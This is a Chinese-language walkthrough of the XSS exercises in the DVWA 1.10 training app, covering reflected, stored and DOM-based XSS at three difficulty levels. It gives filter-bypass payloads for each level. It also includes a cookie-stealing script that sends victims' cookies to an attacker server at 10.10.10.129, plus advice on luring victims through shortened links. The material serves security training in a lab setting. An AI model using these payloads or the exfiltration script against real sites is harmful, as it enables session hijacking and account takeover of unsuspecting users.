DVWA1.10-XSS

反射型

low

在输入框里填入的内容会通过GET请求的方式发往后端，同时后端会根据输入的内容拼接一个页面，把输入的内容显示给用户。

在输入框里输入<script>alert('xss');</script>点击提交会发现弹出弹窗。验证了漏洞存在。不过xss可不是用来给访问者弹窗的，接下来继续利用该漏洞窃取访问者的cookie。
首先编写一段xss脚本放在攻击者服务器上，其作用是读取当前的cookie和host信息，并提交到攻击者的服务器上。

//文件名为xss_cookie.js
var url = "http://10.10.10.129/xssRecv.php";#攻击者服务器处理请求的URL
new Image().src = url + "?cookie=" + encodeURI(document.cookie) + "&host=" + encodeURI(location.host);#悄悄通过GET方式传输了数据

之后通过xss漏洞让访问者的浏览器执行该脚本，在输入框里填入<script src="10.10.10.129/xss_cookie.js"></script>.这样就能执行刚刚写的脚本，悄悄的把cookie窃取。当攻击者收到cookie时就有可能直接以访问者的账号访问host网站，进而有可能更改密码或者，如果是论坛网站也可转发广告或其他不当言论，总之危害极大。

面对这种反射型xss，应该不会有人主动去输入对自己有害的xss代码，观察到URL里面使用的GET请求，那么攻击者就可以对有XSS漏洞的URL生成短链接，诱使访问者点击。

medium

尝试输入<script>alert('xss');</script>，这次并没有直接执行，通过返回的内容看到只有一个alert('xss');，由此猜测后端是过滤掉了<script></script>标签，尝试使用<Script>alert('xss');</Script>，提交可以执行，成功绕过。
也可以这么做<sc<script>ript>alert('1');</script>，同样能够绕过

high

查看后端代码$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );，显然之前那一套不灵了。
既然不能用script标签，那么就换一种思路，找其他触发js代码的方法，比如：
<img src="a.c" onerror="alert(1)"/>，输入发现成功弹窗了。

存储型

low

直接在输入框中输入<script>alert(1);</script>验证漏洞存在

medium

查看源码得知，对于message的过滤比较严格，使用了htmlspecialchars函数进行编码，不太可能注入xss代码，所以对name下手。然而name在前端有字数输入限制，最多只能输入10个字符。在开发者工具的查看器里手动修改<input name="txtName" type="text" size="30" maxlength="10">去掉后面的maxlength限制。回到输入框输入<sc<script>ript>alert(1);</scr<script>ipt>，即可绕过。

$message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

high

审计源码：

$message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 

对message进行了HTML编码，对name进行了字符替换，这里不再使用

DOM型

low

分析网页前端代码可以知道，前端的js先从URL里面截取用户选中的语言，然后创建DOM节点，把用户选择的语言显示出来。
直接在URL里面构造default=<script>alert(1);</script>即可。

medium

查看源码：

if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
} 

当输入中包含<script时就会被过滤，而且不区分大小写。所以想到了使用其他标签触发js执行，然而观察前端动态生成DOM节点的js，我们提交的内容会被写到<option></option>标签的属性和标签内部，如果想用<img>标签来触发的话，必须闭合掉<option>标签，另外还需要闭合掉<select>标签，因为只有在闭合了这个标签以后才能写其他标签，也就是需要用来触发js的<img>标签，构造如下：
default='>Chinese</option></select><img src=1 onerror="alert(1);"/>

high

审计后端代码：

# White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    } 

这里对提交的数据进行了严格的检查，如果不是预设的四个值就返回默认。然而实际上后端收到的参数与我们实际输入的值有时是不同的。
如果我们构造default=French #<script>alert(1);</script>然后提交，通过抓包发现实际上提交到后端的只有default=French，这样一来既可以绕过后端的验证，又可以在前端加上js代码。